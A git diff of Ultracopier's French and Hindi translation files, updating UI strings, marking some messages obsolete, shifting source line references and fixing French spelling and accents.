+ <source>Load the themes?</source>
+ <translation type="obsolete">Charger les thèmes?</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
+ <translation>Charger le thème?</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
+ <translation>Charger la langue?</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
<source>Disabled because you have any SessionLoader plugin</source>
- <translation>Désactivé car vous n&apos;avez aucun plugin SessionLoader</translation>
+ <translation type="obsolete">Désactivé car vous n&apos;avez aucun plugin SessionLoader</translation>
+ </message>
+ <message>
+ <source>Allow cgminer</source>
+ <translation type="obsolete">Autoriser cgminer</translation>
+ </message>
+ <message>
+ <source>Allow OpenCL</source>
+ <translation type="obsolete">Autorisé OpenCL</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <source>This Ultimate version is only if cgminer is allowed by your antivirus. You can get the normal free version (without cgminer)</source>
+ <translation type="obsolete">Cette version Ultimate est seuelement is cgminer</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
+ <translation>Autorisé l&apos;application</translation>
+ </message>
+ <message>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. You can get the normal free version</source>
+ <translation type="obsolete">Cette version Ultimate gratuite est seulement is %1 est autorisé par votre antivirus.</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
+ <translation>Cette version Ultimate gratuite est seulement si %1 est autorisé par votre antivirus. Sinon vous pouvez obtenir la version gratuite normale</translation>
+ </message>
+ <message>
+ <source>This Ultimate version is only if OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="obsolete">Cette version Ultimate gratuite est seulement si . Sinon vous pouvez obtenir la version gratuite normale</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
+ <translation>Activé l&apos;OpenCL</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation>Cette version Ultimate gratuite est seulement si l&apos;OpenCL est installé avec vos drivers graphiques. Sinon vous pouvez obtenir la version gratuite normale</translation>
+ </message>
+ <message>
+ <source>Disabled because you do not have any SessionLoader plugin</source>
+ <translation type="obsolete">Désactivé car vous n&apos;avez aucun plugin SessionLoader</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation>Ne rien faire</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation>Demander la source comme un dossier</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation>Demander la sources comme des fichiers</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation>Jamais</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation>Quand la source est la même</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation>Quand la destination est la même</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation>Quand la destination et la source sont les mêmes</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation>Quand la destination ou la source sont les mêmes</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation>Toujours</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
- <translation>Sauvegarder les logs sous: </translation>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
+ <translation>Les variables sont %1</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
- <translation>Le fichier est écrit directement quand il reçois une nouvelle entrée, mais il peu produire 50% de perte de performance</translation>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation>Sauvegarder les logs sous: </translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
+ <location filename="../../../OptionDialog.ui" line="731"/>
<source>Synchronized log</source>
- <translation>Log syncronisé</translation>
+ <translation>Log synchronisé</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
<source>When manual open:</source>
- <translation>Quand ouverture manuel:</translation>
+ <translation type="obsolete">Quand ouverture manuel:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
<source>Group the windows when:</source>
- <translation>Grouper les fenêtres quand:</translation>
+ <translation type="obsolete">Grouper les fenêtres quand:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation>Les variables sont %path%, %operation%</translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
- <translation>Essaie d&apos;obtention d&apos;une variable, mais la variable n&apos;as pas été trouvé: %1 %2</translation>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
+ <translation>La variable n&apos;a pas été trouvée: %1 %2</translation>
</message>
</context>
<context>
@@ -791,7 +1129,7 @@ Cette version est compilée comme version: %1.</translation>
<message>
<location filename="../../../PluginInformation.ui" line="14"/>
<source>About this plugin</source>
- <translation>A propos de ce plugin</translation>
+ <translation>À propos de ce plugin</translation>
</message>
<message>
<location filename="../../../PluginInformation.ui" line="23"/>
@@ -824,37 +1162,42 @@ Cette version est compilée comme version: %1.</translation>
<translation>Version:</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation>Moteur de copie</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation>Langues</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation>Écouteur</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
- <translation>Chargeur de plugins</translation>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
+ <translation>Chargeur de plugin</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
- <translation>Chargeur de sessions</translation>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
+ <translation>Chargeur de session</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation>Thèmes</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation>Inconnu</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation>Informations à propos de %1</translation>
</message>
@@ -872,127 +1215,137 @@ Cette version est compilée comme version: %1.</translation>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
<source>informations.xml not found into the plugin</source>
- <translation>Le fichier informations.xml n&apos;a pas été trouvé dans le répertoire du plugin</translation>
+ <translatorcomment>En anglais c&apos;est: the file informations.xml was not found into the plugin ou the informations.xml file was not found into the plugin?</translatorcomment>
+ <translation type="obsolete">Le fichier informations.xml n&apos;a pas été trouvé dans le plugin</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation>informations.xml n&apos;est pas accessible</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation>Le fichier informations.xml n&apos;a pas été trouvé dans le plugin</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
+ <translation>Texte anglais manquant dans le informations.xml pour la balise: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation>Les dépendances sont fausses</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
- <translation>Dépendances %1 n&apos;ont pas été satisfaite, pour le plugin: %2</translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <translation>Des dépendances %1 ne sont pas satisfaites, pour le plugin: %2</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation>Chargeur de plugin</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation>Supprimer %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation>Erreur</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation>Informations</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation>%1, erreur à la ligne %2, à l&apos;emplacement %3: %4</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
- <translation>&quot;package&quot; balise root non trouvé pour le fichier xml</translation>
+ <translation>La balise racine &quot;package&quot; n&apos;a pas été trouvée pour le fichier xml</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
+ <translatorcomment>Le plugins courrant est un doublont, donc déjà chargé!</translatorcomment>
<translation>Plugin dupliqué trouvé, déjà chargé!</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
<source>English text missing into the informations.xml for the tag: %1</source>
- <translation>Texte anglais manquant dans le informations.xml pour la balise: %1</translation>
+ <translation type="obsolete">Texte anglais manquant dans le informations.xml pour la balise: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
- <translation>Balise non trouvé: %1</translation>
+ <translation>Balise non trouvée: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
- <translation>Etes vous sur de vouloir supprimé &quot;%1&quot; en version %2?</translation>
+ <translation>Êtes vous sûr de vouloir supprimer &quot;%1&quot; en version %2?</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
- <translation>Erreur pendant la suppression du plugin, merci de vérifié les droits sur le dossier:
+ <translation>Erreur pendant la suppression du plugin, merci de vérifier les droits du dossier:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
- <translation>Importation précédente en cour...</translation>
+ <translation>Importation précédente en cours...</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation>Ouvrir un plugin d&apos;Ultracopier</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation>Plugin d&apos;Ultracopier (*.urc)</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation>Impossible d&apos;ouvrir le plugin: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation>Impossible de charger le contenu du plugin, veuillez le vérifier: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation>Impossible de créer un dossier pour installer le plugin:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
@@ -1001,16 +1354,16 @@ since:%2</source>
depuis:%2</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation>Le répertoire est déjà présent, on saute l&apos;installation du plugin:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation>Impossible de charger le contenu du plugin, veuillez le vérifier</translation>
</message>
@@ -1018,44 +1371,44 @@ depuis:%2</translation>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation>Allocation mémoire échouée</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation>Erreur d&apos;écriture</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation>Limite de mémoire atteinte</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation>N&apos;est pas un fichier .xz</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation>Options non supportées dans les entêtes des fichiers .xz</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation>Le fichier est corrompu</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation>Bug!</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation>Données d&apos;entrée trop courtes</translation>
</message>
@@ -1063,85 +1416,137 @@ depuis:%2</translation>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
- <translation>Pas d&apos;écouteur trouvé. Effectuez la copie manuelle par le clic droit sur l&apos;icône dans la zone de notification (près de l&apos;horloge).</translation>
+ <translation>Pas d&apos;écouteur trouvé. Effectuez la copie manuellement par clic droit sur l&apos;icône dans la zone de notification (près de l&apos;horloge).</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
<translation>Recherche d&apos;informations...</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
- <translation>Ne pas capturer la copie/déplacement de l&apos;explorateur</translation>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
+ <translation>Ne remplace pas la copie/déplacement de l&apos;explorateur</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
- <translation>Interception partielle des copies/déplacements de l&apos;explorateur</translation>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
+ <translation>L&apos;action sur l&apos;icône de la zone de notifications est inconnue!</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
- <translation>Interception des copies/déplacements de l&apos;explorateur</translation>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
+ <source>&amp;About/Debug report</source>
+ <translation>&amp;À propos/Debug</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
- <translation>Action sur l&apos;icône du systray est inconnu!</translation>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
+ <source>&amp;About</source>
+ <translation>&amp;À propos d&apos;ultracopier</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
- <source>&amp;About/Debug report</source>
- <translation>&amp;A propos d&apos;ultracopier/Debug</translation>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation>Nouvelle version: %1</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
- <source>&amp;About</source>
- <translation>&amp;A propos d&apos;ultracopier</translation>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation>Cliquez içi pour aller sur la page de téléchargement</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <source>Click here to go to the shop and login.
+Download the new version into the order details</source>
+ <translation type="obsolete">Cliquez içi pour aller sur la boutique et vous logger.
+Téléchargez la novuelle version dans les détails de la commande</translation>
+ </message>
+ <message>
+ <source>&amp;Save bug Report</source>
+ <translation type="obsolete">&amp;Sauvergarder le rapport de bug</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation>&amp;Sauvergarder le rapport de bug</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
<translation>&amp;Quitter</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
<translation>&amp;Options</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <source>New version: %1
+Site: %2</source>
+ <translation type="obsolete">Nouvelle version: %1
+Site: %2</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation>&amp;Copie</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation>&amp;Transfert</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation>&amp;Déplacer</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
<translation>Ajouter une &amp;copie</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
<translation>Ajouter un &amp;transfert</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
<translation>Ajouter un &amp;déplacement</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
<translation>&amp;Ajouter une copie/déplacement</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <source>Not replace the explorer copy/move</source>
+ <translation type="obsolete">Ne remplace pas la copie/déplacement de l&apos;explorateur</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
+ <translation>Remplace partiellement la copie/déplacement de l&apos;explorateur</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
+ <translation>Remplace la copie/déplacement de l&apos;explorateur</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
- <translation>Attention</translation>
+ <translation>Avertissement</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation>Informations</translation>
</message>
diff --git a/plugins/Languages/hi/flag.png b/plugins/Languages/hi/flag.png
index acb0ee3..3ac74be 100644
--- a/plugins/Languages/hi/flag.png
+++ b/plugins/Languages/hi/flag.png
Binary files differ
diff --git a/plugins/Languages/hi/informations.xml b/plugins/Languages/hi/informations.xml
index e752c0b..e093732 100644
--- a/plugins/Languages/hi/informations.xml
+++ b/plugins/Languages/hi/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to hindi. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to hindi. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>hi</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- =ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/hi/translation.ts b/plugins/Languages/hi/translation.ts
index 78d0511..2514652 100644
--- a/plugins/Languages/hi/translation.ts
+++ b/plugins/Languages/hi/translation.ts
@@ -4,77 +4,83 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
